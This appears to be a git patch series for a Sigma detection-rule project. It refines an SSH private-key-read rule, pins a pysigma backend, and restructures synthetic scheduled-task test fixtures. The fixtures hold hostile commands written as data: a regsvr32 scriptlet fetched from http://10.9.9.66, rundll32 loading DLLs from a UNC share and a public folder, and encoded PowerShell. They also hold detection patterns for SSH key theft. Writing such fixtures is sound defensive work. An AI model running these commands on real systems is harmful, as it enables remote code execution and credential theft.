+48,7 @@ cloud_snowflake_network_policy_change_describe_suppressed detections/sigma/snowf cloud_snowflake_user_created detections/sigma/snowflake/snowflake_user_created.yml docker/validation/sigma-fixtures/cloud/snowflake_user_created_tp.jsonl docker/validation/sigma-fixtures/cloud/snowflake_user_created_tn.jsonl 50aefe1d-c91f-4b15-96bd-217d2d7b8fc0 cloud_tfc_rogue_agent_pool detections/sigma/terraform/tfc_rogue_agent_pool.yml docker/validation/sigma-fixtures/cloud/tfc_rogue_agent_pool_tp.jsonl docker/validation/sigma-fixtures/cloud/tfc_rogue_agent_pool_tn.jsonl eb0fb1de-dcb5-49b9-a494-c76775085395 cloud_tfc_token_backdoor detections/sigma/terraform/tfc_token_backdoor.yml docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_tp.jsonl docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_tn.jsonl 441f2123-b0ba-43e3-aed1-9004b252a942 +cloud_tfc_token_backdoor_ci_suppressed detections/sigma/terraform/tfc_token_backdoor.yml docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_tp.jsonl docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_ci_tn.jsonl 441f2123-b0ba-43e3-aed1-9004b252a942 cloud_tfc_variable_injection detections/sigma/terraform/tfc_variable_injection.yml docker/validation/sigma-fixtures/cloud/tfc_variable_injection_tp.jsonl docker/validation/sigma-fixtures/cloud/tfc_variable_injection_tn.jsonl dd42c381-a45b-4ad2-993b-ec3b57aac19e cloud_tfc_variable_injection_ci_suppressed detections/sigma/terraform/tfc_variable_injection.yml docker/validation/sigma-fixtures/cloud/tfc_variable_injection_tp.jsonl docker/validation/sigma-fixtures/cloud/tfc_variable_injection_ci_tn.jsonl dd42c381-a45b-4ad2-993b-ec3b57aac19e cloud_vault_approle_backdoor detections/sigma/vault/vault_approle_backdoor.yml docker/validation/sigma-fixtures/cloud/vault_approle_backdoor_tp.jsonl docker/validation/sigma-fixtures/cloud/vault_approle_backdoor_tn.jsonl fd142d2e-ae67-4e72-940a-2fc108663977 diff --git a/docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_ci_tn.jsonl b/docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_ci_tn.jsonl new file mode 100644 index 00000000..8cc19234 --- /dev/null +++ b/docker/validation/sigma-fixtures/cloud/cloudflare_api_token_created_ci_tn.jsonl @@ -0,0 +1 @@ +{"resource": {"type": "api_token"}, "action": {"type": "create"}, "actor": {"type": "user", "email": "ci-deploy@example.com"}} diff --git a/docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_ci_tn.jsonl b/docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_ci_tn.jsonl new file mode 100644 index 00000000..03ea7b52 --- /dev/null +++ b/docker/validation/sigma-fixtures/cloud/gitlab_token_backdoor_ci_tn.jsonl @@ -0,0 +1 @@ +{"event_type": "project_access_token_created", "author_name": "ci-bot"} diff --git a/docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_ci_tn.jsonl b/docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_ci_tn.jsonl new file mode 100644 index 00000000..d018a333 --- /dev/null +++ b/docker/validation/sigma-fixtures/cloud/tfc_token_backdoor_ci_tn.jsonl @@ -0,0 +1 @@ +{"resource": {"type": "authentication_token", "action": "create"}, "auth": {"description": "ci-deploy@example.com"}} diff --git a/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl b/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl index 096ce5f2..080f82e2 100644 --- a/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl +++ b/docker/validation/sigma-fixtures/linux_ssh_key_read_tn.jsonl @@ -1,2 +1,3 @@ {"key": "ssh_key_read", "comm": "ssh", "exe": "/usr/bin/ssh", "name": "/home/dev/.ssh/id_ed25519", "auid": "1000", "uid": "1000"} {"key": "ssh_key_read", "comm": "cat", "exe": "/usr/bin/cat", "name": "/home/dev/.ssh/id_ed25519.pub", "auid": "1000", "uid": "1000"} +{"key": "ssh_key_read", "comm": "tar", "exe": "/usr/bin/tar", "name": "/home/dev/identity-service/config.yml", "auid": "1000", "uid": "1000"} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl index 96bc80ae..29e078b9 100644 --- a/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl +++ b/docker/validation/sigma-fixtures/scheduled_task_4698.jsonl @@ -19,3 +19,6 @@ {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV06"}, "EventData": {"TaskName": "\\QuoteInFlag", "TaskContent": "powershell.exe-nop -"e"c SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV07"}, "EventData": {"TaskName": "\\SlashVar", "TaskContent": "cmd.exe/v:on /c set p=SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA&& powershell -nop /ec !p!"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV07"}, "EventData": {"TaskName": "\\PaddedCaret", "TaskContent": "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\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"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\DriverHelper", "TaskContent": "rundll32.exeC:\\Users\\Public\\Libraries\\up.dll,Run"}}} +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\SctLoader", "TaskContent": "regsvr32/s /n /u /i:http://10.9.9.66/a.sct scrobj.dll"}}} +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\ShareLoad", "TaskContent": "rundll32.exe\\\\10.9.9.66\\share\\up.dll,Run"}}} diff --git a/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl b/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl index a0031274..983e866e 100644 --- a/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl +++ b/docker/validation/sigma-fixtures/scheduled_task_4698_tn.jsonl @@ -5,3 +5,5 @@ {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV02"}, "EventData": {"TaskName": "\\DeployApp", "TaskContent": "powershell.exe-NoProfile -File C:\\Scripts\\deploy.ps1 -e production"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV02"}, "EventData": {"TaskName": "\\MirrorShare", "TaskContent": "cmd.exe/c robocopy %SRC% %DST% /E %OPTS% & powershell -NoProfile -File C:\\Scripts\\notify.ps1"}}} {"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV02"}, "EventData": {"TaskName": "\\PaddedNoFlag", "TaskContent": "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\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"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"powershell.exe-NoProfile -File C:\\Scripts\\report.ps1"}}} +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\DisplayCal", "TaskContent": "rundll32.exeC:\\Windows\\System32\\shell32.dll,Control_RunDLL desk.cpl"}}} +{"Event": {"System": {"EventID": 4698, "Channel": "Security", "Computer": "SRV08"}, "EventData": {"TaskName": "\\VendorCom", "TaskContent": "regsvr32.exe/s "C:\\Program Files\\Vendor\\bridge.dll""}}} From ff3b1bb5b69bbec7304a51bf5eac010de16184ae Mon Sep 17 00:00:00 2001 From: Garrett Allen <98648590+Gerrrt@users.noreply.github.com> Date: Wed, 14 Oct 2026 19:09:55 +0000 Subject: [PATCH 2/3] fix(validation): pin pysigma-backend-sqlite to 2.0.0 so the host plane can run (#351) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The "sigma rules fire on synthetic event logs" job on this PR dies at pip install: ResolutionImpossible, because the committed constraints pin pysigma-backend-sqlite 2.1.0 (the backend's pySigma-2 release) beside pysigma==1.5.1. #354 bumped it alone and the job has been red on main since, with 0/123 rows executed — so the three new 4698 true positives and two true negatives in this PR could not be proven on CI. Same one-line pin #360 and #361 carry; the full rationale and the Renovate cap live there, and this line merges identically under either. Verified: a fresh venv built from this file resolves (pysigma 1.5.1, backend 2.0.0) and run-sigma-validation.sh passes 123/123 from it. Co-Authored-By: Claude Fable 5.1 --- CHANGELOG.md | 4 ++++ docker/validation/zircolite-constraints.txt | 6 +++++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 459457e2..96752ebd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -93,6 +93,10 @@ under `[Unreleased]` from here. - Ledger: 124 rules, 0 added, 0 removed. `coverage-layer.json` and `COVERAGE.md` are unchanged (no tag or count moved); all three SIEM forms regenerate (descriptions and the Harbor stanza title are embedded). + - `zircolite-constraints.txt` carries the `pysigma-backend-sqlite==2.0.0` pin as a + stopgap: the host-plane job was red on `main` since #354 (ResolutionImpossible against + `pysigma==1.5.1`) and could not prove the new 4698 fixtures. #360 / #361 hold the full + fix with the Renovate cap; this is the same line so either merges cleanly over it. - **`github_credential_backdoor` now also selects `personal_access_token.request_created` (#348).** This follows htpx's `gh-cred-audit` (htpx#139). GitHub logs the request only in orgs that require approval for diff --git a/docker/validation/zircolite-constraints.txt b/docker/validation/zircolite-constraints.txt index 1dffe2e3..29101d7f 100644 --- a/docker/validation/zircolite-constraints.txt +++ b/docker/validation/zircolite-constraints.txt @@ -33,4 +33,8 @@ # same two for the sigma gate. Keep the two files agreeing (#322). pysigma==1.5.1 pyparsing==3.3.3 -pysigma-backend-sqlite==2.1.0 +# 2.0.0, not 2.1.0: 2.1.0 is the backend's pySigma-2 release and contradicts the pysigma==1.5.1 +# line above, so pip stops at ResolutionImpossible before a rule runs (#354 bumped it alone). +# The full account and the Renovate cap that stops the re-bump are in #360 / #361; this line +# is the same pin so this branch's fixtures can be proven on CI meanwhile. +pysigma-backend-sqlite==2.0.0 From 09258be8416cf390af76f5c2ff03316321796909 Mon Sep 17 00:00:00 2001 From: Garrett Allen <98648590+Gerrrt@users.noreply.github.com> Date: Wed, 14 Oct 2026 19:20:41 +0000 Subject: [PATCH 3/3] fix(sigma): legacy ssh key gets its own endswith selection; each 4698 LOLBin case its own row (#351) Two review findings on #359, both right: - ssh_private_key_read: '/.ssh/identity' under name|contains still took ~/.ssh/identity-service/config.yml while the description claimed an exact match. The SSHv1 key is now selection_legacy with name|endswith, ORed with the id_* list under the shared key term. That makes the Splunk form `(a) OR (b) NOT (filter)`, so the binding is traced in splunk-precedence-allowlist.tsv: key gates both branches and the reader/pubkey filter covers both. Proven by a single-event row (tar reading /root/.ssh/identity) and two near-misses on the TN (identity-service/ inside and outside .ssh/). - scheduled_task_suspicious_4698: the three LOLBin true positives sat in the aggregate TP file, which passes when ANY event fires - the existing 21 already did, so the new arms could go silent unnoticed. Each is now its own single-event row (lolbin-userdir, -scriptlet, -unc) against a dedicated LOLBin TN file carrying the real root. The aggregate files go back to what they held before. run-sigma-validation.sh 127/127 (zircolite v3.7.6); drift, methodology, validation-gates and tests green. Co-Authored-By: Claude Fable 5.1 --- CHANGELOG.md | 12 ++++++----- .../siem/elastic/rules.generated.lucene | 2 +- detections/siem/sentinel/rules.generated.kql | 2 +- .../siem/splunk-precedence-allowlist.tsv | 1 + .../siem/splunk/savedsearches.generated.conf | 14 +++++++------ .../sigma/linux/ssh_private_key_read.yml | 21 ++++++++++++------- docker/validation/fixture-provenance.tsv | 11 +++++++--- .../linux_ssh_key_read_legacy.jsonl | 1 + .../linux_ssh_key_read_tn.jsonl | 1 + .../sigma-fixtures/scheduled_task_4698.jsonl | 3 --- ...scheduled_task_4698_lolbin_scriptlet.jsonl | 1 + .../scheduled_task_4698_lolbin_tn.jsonl | 2 ++ .../scheduled_task_4698_lolbin_unc.jsonl | 1 + .../scheduled_task_4698_lolbin_userdir.jsonl | 1 + .../scheduled_task_4698_tn.jsonl | 2 -- docker/validation/sigma-manifest.tsv | 4 ++++ 16 files changed, 50 insertions(+), 29 deletions(-) create mode 100644 docker/validation/sigma-fixtures/linux_ssh_key_read_legacy.jsonl create mode 100644 docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_scriptlet.jsonl create mode 100644 docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl create mode 100644 docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_unc.jsonl create mode 100644 docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_userdir.jsonl diff --git a/CHANGELOG.md b/CHANGELOG.md index 96752ebd..613fea26 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,9 +32,10 @@ under `[Unreleased]` from here. cycle, so every decline below is recorded in the rule it concerns. - `linux/ssh_private_key_read`: `name|contains: '/identity'` matched every read under a directory whose name begins `identity` (`~/identity-service/config.yml`), a standing - false-positive stream on a `high` rule. It is now `'/.ssh/identity'`, the only path the - SSHv1 key ever has. The true-negative fixture gains that exact near-miss, which the old - value fired on. + false-positive stream on a `high` rule. The SSHv1 key now has its own + `name|endswith: '/.ssh/identity'` selection (a `contains` would still take + `~/.ssh/identity-service/`), proven by a single-event row; the true-negative fixture + gains both near-misses. - `cloudflare/cloudflare_api_token_created`, `terraform/tfc_token_backdoor`, `gitlab/gitlab_token_backdoor`: each shipped `condition: selection` while its folder siblings carried a `DEPLOY-REQUIRED` `filter_ci`, and each selects an action the IaC @@ -66,8 +67,9 @@ under `[Unreleased]` from here. the way and written into the block: a bare `http` matches the `` root of every real 4698 and would have collapsed the AND (the synthetic fixtures omit the root, so no gate saw it — the new TN carries it), and a UNC prefix is `'\\\\'` - because `\` is Sigma's escape. Neither LOLBin had a fixture before; three TPs and two - TNs are added. + because `\` is Sigma's escape. Neither LOLBin had a fixture before; three single-event + TP rows and a dedicated TN file are added, because an aggregate TP passes when any + event fires and would not have caught these arms going silent. - `lateral_movement/passthehash_4624_fanout`: `filter_machine` is a coverage decision, not only a noise filter — reuse of a captured machine-account hash never reaches the count. Stated in the base rule with why Sigma cannot narrow it (no field-to-field diff --git a/detections/siem/elastic/rules.generated.lucene b/detections/siem/elastic/rules.generated.lucene index 84520469..f3e7f5a6 100644 --- a/detections/siem/elastic/rules.generated.lucene +++ b/detections/siem/elastic/rules.generated.lucene @@ -253,7 +253,7 @@ key:shadow_read AND (NOT (exe:(\/usr\/sbin\/unix_chkpwd OR \/sbin\/unix_chkpwd O (key:ssh_authkeys AND name:*authorized_keys*) AND (NOT exe:\/opt\/keymgr\/bin\/keyagent) // linux/ssh_private_key_read.yml — SSH private key read by a non-SSH process (auditd) -(key:ssh_key_read AND (name:(*\/id_rsa* OR *\/id_ecdsa* OR *\/id_ed25519* OR *\/id_dsa* OR *\/.ssh\/identity*))) AND (NOT ((exe:(\/usr\/bin\/ssh OR \/usr\/sbin\/sshd OR \/usr\/bin\/ssh\-agent OR \/usr\/bin\/ssh\-keygen OR \/usr\/bin\/ssh\-add OR \/usr\/bin\/scp OR \/usr\/bin\/sftp OR \/usr\/bin\/git)) OR name:*.pub)) +key:ssh_key_read AND ((name:(*\/id_rsa* OR *\/id_ecdsa* OR *\/id_ed25519* OR *\/id_dsa*)) OR name:*\/.ssh\/identity) AND (NOT ((exe:(\/usr\/bin\/ssh OR \/usr\/sbin\/sshd OR \/usr\/bin\/ssh\-agent OR \/usr\/bin\/ssh\-keygen OR \/usr\/bin\/ssh\-add OR \/usr\/bin\/scp OR \/usr\/bin\/sftp OR \/usr\/bin\/git)) OR name:*.pub)) // linux/sudo_root_shell.yml — Root shell spawned under a real login uid - sudo escape (auditd) (key:sudo_abuse AND (comm:(bash OR sh OR dash OR zsh OR ksh OR fish OR python OR python3 OR perl OR ruby))) AND (NOT auid:1000) diff --git a/detections/siem/sentinel/rules.generated.kql b/detections/siem/sentinel/rules.generated.kql index 0c6891f9..f28a7b1f 100644 --- a/detections/siem/sentinel/rules.generated.kql +++ b/detections/siem/sentinel/rules.generated.kql @@ -253,7 +253,7 @@ key =~ "shadow_read" and (not((exe in~ ("/usr/sbin/unix_chkpwd", "/sbin/unix_chk (key =~ "ssh_authkeys" and name contains "authorized_keys") and (not(exe =~ "/opt/keymgr/bin/keyagent")) // linux/ssh_private_key_read.yml — SSH private key read by a non-SSH process (auditd) -(key =~ "ssh_key_read" and (name contains "/id_rsa" or name contains "/id_ecdsa" or name contains "/id_ed25519" or name contains "/id_dsa" or name contains "/.ssh/identity")) and (not(((exe in~ ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git")) or name endswith ".pub"))) +key =~ "ssh_key_read" and ((name contains "/id_rsa" or name contains "/id_ecdsa" or name contains "/id_ed25519" or name contains "/id_dsa") or name endswith "/.ssh/identity") and (not(((exe in~ ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git")) or name endswith ".pub"))) // linux/sudo_root_shell.yml — Root shell spawned under a real login uid - sudo escape (auditd) (key =~ "sudo_abuse" and (comm in~ ("bash", "sh", "dash", "zsh", "ksh", "fish", "python", "python3", "perl", "ruby"))) and (not(auid == 1000)) diff --git a/detections/siem/splunk-precedence-allowlist.tsv b/detections/siem/splunk-precedence-allowlist.tsv index bc4bfd0b..dbdac7c2 100644 --- a/detections/siem/splunk-precedence-allowlist.tsv +++ b/detections/siem/splunk-precedence-allowlist.tsv @@ -25,3 +25,4 @@ detections/siem/splunk/savedsearches.generated.conf Registry Run key pointing at detections/siem/splunk/savedsearches.generated.conf LSASS process access with dump-shaped rights sigma condition is `selection and selection_access and not filter_av`; the backend emits `TargetImage=lsass (suffix IN) OR (prefix IN) NOT (agent allowlist)`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own paren first and the OR groups the two GrantedAccess lists, so it reads lsass AND (VM_READ-suffix OR full-rights-prefix) AND NOT agents - the EDR allowlist covers BOTH access branches, which is the intent. Traced 2026-09-28 when the exact-mask list became a VM_READ-bit match detections/siem/splunk/savedsearches.generated.conf HashiCorp Vault auth role / AppRole / auth method created (persistence) sigma condition is `selection and 1 of paths_* and not filter_secret_id_admin and not (secret_id_mint and not mint_is_role_name and filter_ci_orchestrator)`; the backend emits `type op (identity paths IN) OR request.path=sys/auth/* NOT (auth/approle/role/* housekeeping-suffix IN) NOT (auth/approle/role/* mint-suffix IN NOT (role-named-secret-id exact IN) entity=orchestrator)`. Under search-command precedence (parens, NOT, OR, AND) the OR groups only the two path branches and each top-level NOT is its own term, so it reads request AND create|update AND (identity paths OR sys/auth) AND NOT housekeeping AND NOT (mint AND NOT role-named-secret-id AND orchestrator) - both exemptions bind to every path branch, and the inner NOT sits inside its parentheses, which is the intent. Re-traced 2026-09-29 each time the exemptions changed (lookup/destroy exclusion; exact suffixes; pinned to auth/*/role/* with the role-named-secret-id carve-out; pinned to the auth/approle/role/ mount with an exact-path carve-out) detections/siem/splunk/savedsearches.generated.conf WMI event subscription persistence - command-line or script consumer sigma condition is `created and (selection_commandline_payload or selection_script_consumer or selection_commandline_any) and not filter_known_consumers`; the backend emits `Operation=Created (keyword arm) OR (script arm) OR (command-line arm) NOT Destination=allowlist`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own term and the OR groups the three parenthesised arms, so it reads Created AND (keyword OR script OR command-line) AND NOT allowlist - the Destination allowlist covers all three arms and Created gates them all, which is the intent. Traced 2026-09-29 when the allowlist was widened from one arm to all +detections/siem/splunk/savedsearches.generated.conf SSH private key read by a non-SSH process (auditd) sigma condition is `selection_key and (selection_name or selection_legacy) and not 1 of filter_*`; the backend emits `key= name IN (id_* names) OR name=*/.ssh/identity NOT (ssh-stack exe IN (...) OR name=*.pub)`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own paren first, the OR joins the id_* list with the legacy endswith, and the two implicit ANDs bind loosest, so it reads key AND (id_* OR legacy) AND NOT (stack OR pub) - the key term gates both name branches and the reader/pubkey filter covers both, which is the intent: a legacy ~/.ssh/identity read by ssh itself must be filtered exactly like an id_ed25519 read. Read with AND first it would be (key AND id_*) OR (legacy AND NOT filter), where the id_* branch escapes the filter and the legacy branch escapes the key - the reading this row exists to rule out. Same shape and reading as the mass-file-read row above. Added with the legacy selection in #351 (#359) diff --git a/detections/siem/splunk/savedsearches.generated.conf b/detections/siem/splunk/savedsearches.generated.conf index eb6ea014..12562ab3 100644 --- a/detections/siem/splunk/savedsearches.generated.conf +++ b/detections/siem/splunk/savedsearches.generated.conf @@ -1916,11 +1916,13 @@ touching many users' keys in a short window - which is a value_count correlation this rule once you have a baseline for how many key reads are normal on your hosts. \ The correlation is deliberately not shipped here: its threshold is a property of your \ estate, not of the rule. \ -The legacy SSHv1 key is always exactly ~/.ssh/identity, so it is matched as \ -'/.ssh/identity'. The bare '/identity' it replaced matched every read under a directory \ -whose name begins with identity - ~/identity-service/config.yml, ~/.config/identity/... - \ -a standing false-positive stream on a high rule with no key theft behind it. A key \ -named identity outside .ssh/ is now out of scope, and that is the right trade. \ +The legacy SSHv1 key is always exactly ~/.ssh/identity, so it has its own selection, \ +anchored with name|endswith rather than listed beside the id_* names: the bare \ +'/identity' contains it replaced matched every read under a directory whose name begins \ +with identity - ~/identity-service/config.yml, ~/.config/identity/... - a standing \ +false-positive stream on a high rule with no key theft behind it, and even a \ +'/.ssh/identity' contains would still take ~/.ssh/identity-service/. A key named \ +identity outside .ssh/ is now out of scope, and that is the right trade. \ Requires an auditd read watch that sets the key (load with `augenrules --load`): \ -w /home -p r -k ssh_key_read \ -w /root/.ssh/ -p r -k ssh_key_read \ @@ -1931,7 +1933,7 @@ document (auditbeat/Elastic, the Splunk auditd TA); a raw per-line parser leaves inert. See the auditd note in detections/README.md. \ Validate (purple): harvest private keys from dotfiles-Offense (htpx pair \ ssh-key-theft-credaccess). -search = key="ssh_key_read" name IN ("*/id_rsa*", "*/id_ecdsa*", "*/id_ed25519*", "*/id_dsa*", "*/.ssh/identity*") NOT (exe IN ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git") OR name="*.pub") +search = key="ssh_key_read" name IN ("*/id_rsa*", "*/id_ecdsa*", "*/id_ed25519*", "*/id_dsa*") OR name="*/.ssh/identity" NOT (exe IN ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git") OR name="*.pub") [Root shell spawned under a real login uid - sudo escape (auditd)] description = Detects T1548.003 (Abuse Elevation Control Mechanism: Sudo and Sudo Caching): an \ diff --git a/detections/sigma/linux/ssh_private_key_read.yml b/detections/sigma/linux/ssh_private_key_read.yml index 389747a8..5811a508 100644 --- a/detections/sigma/linux/ssh_private_key_read.yml +++ b/detections/sigma/linux/ssh_private_key_read.yml @@ -15,11 +15,13 @@ description: | this rule once you have a baseline for how many key reads are normal on your hosts. The correlation is deliberately not shipped here: its threshold is a property of your estate, not of the rule. - The legacy SSHv1 key is always exactly ~/.ssh/identity, so it is matched as - '/.ssh/identity'. The bare '/identity' it replaced matched every read under a directory - whose name begins with identity - ~/identity-service/config.yml, ~/.config/identity/... - - a standing false-positive stream on a high rule with no key theft behind it. A key - named identity outside .ssh/ is now out of scope, and that is the right trade. + The legacy SSHv1 key is always exactly ~/.ssh/identity, so it has its own selection, + anchored with name|endswith rather than listed beside the id_* names: the bare + '/identity' contains it replaced matched every read under a directory whose name begins + with identity - ~/identity-service/config.yml, ~/.config/identity/... - a standing + false-positive stream on a high rule with no key theft behind it, and even a + '/.ssh/identity' contains would still take ~/.ssh/identity-service/. A key named + identity outside .ssh/ is now out of scope, and that is the right trade. Requires an auditd read watch that sets the key (load with `augenrules --load`): -w /home -p r -k ssh_key_read -w /root/.ssh/ -p r -k ssh_key_read @@ -43,14 +45,17 @@ logsource: product: linux service: auditd detection: - selection: + selection_key: key: 'ssh_key_read' + selection_name: name|contains: - '/id_rsa' - '/id_ecdsa' - '/id_ed25519' - '/id_dsa' - - '/.ssh/identity' + selection_legacy: + # The SSHv1 key. Exact tail, not contains - see the description for what contains took. + name|endswith: '/.ssh/identity' filter_ssh_stack: # DEPLOY-REQUIRED: extend with the agents in YOUR estate that legitimately read # private keys - backup and endpoint agents are the usual additions, and a @@ -74,7 +79,7 @@ detection: # `name|contains: '/id_rsa'` also matched id_rsa.pub - pasting a public key into a # code host, ssh-copy-id and backups all read it, and none of that is key theft. name|endswith: '.pub' - condition: selection and not 1 of filter_* + condition: selection_key and (selection_name or selection_legacy) and not 1 of filter_* falsepositives: - Backup or endpoint agents reading home directories wholesale - allowlist them in filter_ssh_stack, or narrow the watch away from the paths they sweep. diff --git a/docker/validation/fixture-provenance.tsv b/docker/validation/fixture-provenance.tsv index 08b584d9..039102a8 100644 --- a/docker/validation/fixture-provenance.tsv +++ b/docker/validation/fixture-provenance.tsv @@ -205,7 +205,11 @@ docker/validation/sigma-fixtures/recovery_inhibition_4688.jsonl unverified one e docker/validation/sigma-fixtures/recovery_inhibition_4688_tn.jsonl unverified same EventData key set: read-only near-misses on the same binaries (vssadmin list shadows, wbadmin get versions, a Win32_ShadowCopy listing) that must stay silent. Synthetic docker/validation/sigma-fixtures/rogue_account_4720.jsonl unverified - docker/validation/sigma-fixtures/rogue_account_4720_tn.jsonl unverified - -docker/validation/sigma-fixtures/scheduled_task_4698.jsonl unverified synthetic XML fragments without the root. adds (#351) the first rundll32 / regsvr32 true positives: rundll32 of a DLL under \Users\Public, regsvr32 /i:http scriptlet, rundll32 of a DLL on a UNC path - the bare binary names had never been shown to fire +docker/validation/sigma-fixtures/scheduled_task_4698.jsonl unverified synthetic XML fragments without the root; the LOLBin arm is proven by the single-event scheduled_task_4698_lolbin_* rows, not here (an aggregate TP passes when ANY event fires) +docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_userdir.jsonl unverified one event (#351): rundll32 of a DLL under \Users\Public - the first rundll32 true positive this rule has had +docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_scriptlet.jsonl unverified one event (#351): regsvr32 /s /n /u /i:http scriptlet - the first regsvr32 true positive this rule has had +docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_unc.jsonl unverified one event (#351): rundll32 of a DLL on a UNC path, proving the four-backslash '\\\\' value +docker/validation/sigma-fixtures/scheduled_task_4698_lolbin_tn.jsonl unverified near-miss for the LOLBin arm (#351): a rundll32 display-calibration task and a regsvr32 /s of a Program Files DLL, both carrying the real root, which the bare LOLBin names used to match and which pins the bare-'http' collapse docker/validation/sigma-fixtures/service_psexec_7045.jsonl unverified one event per psexec shape (smbexec, Sysinternals, impacket-psexec). An earlier revision paired ServiceName PSEXESVC with a %COMSPEC% ImagePath, a combination no real PsExec produces. shapes from tool source: impacket examples/serviceinstall.py (4-letter random service name, 8-letter random .exe at %systemroot%\ via ADMIN$) and examples/smbexec.py (8-letter random service name, '%COMSPEC% /Q /c' command); Sysinternals PsExec's default PSEXESVC / %SystemRoot%\PSEXESVC.exe. Event 7045 field names as the other System-channel fixtures. Synthetic docker/validation/sigma-fixtures/service_psexec_7045_tn.jsonl unverified same EventData key set: an 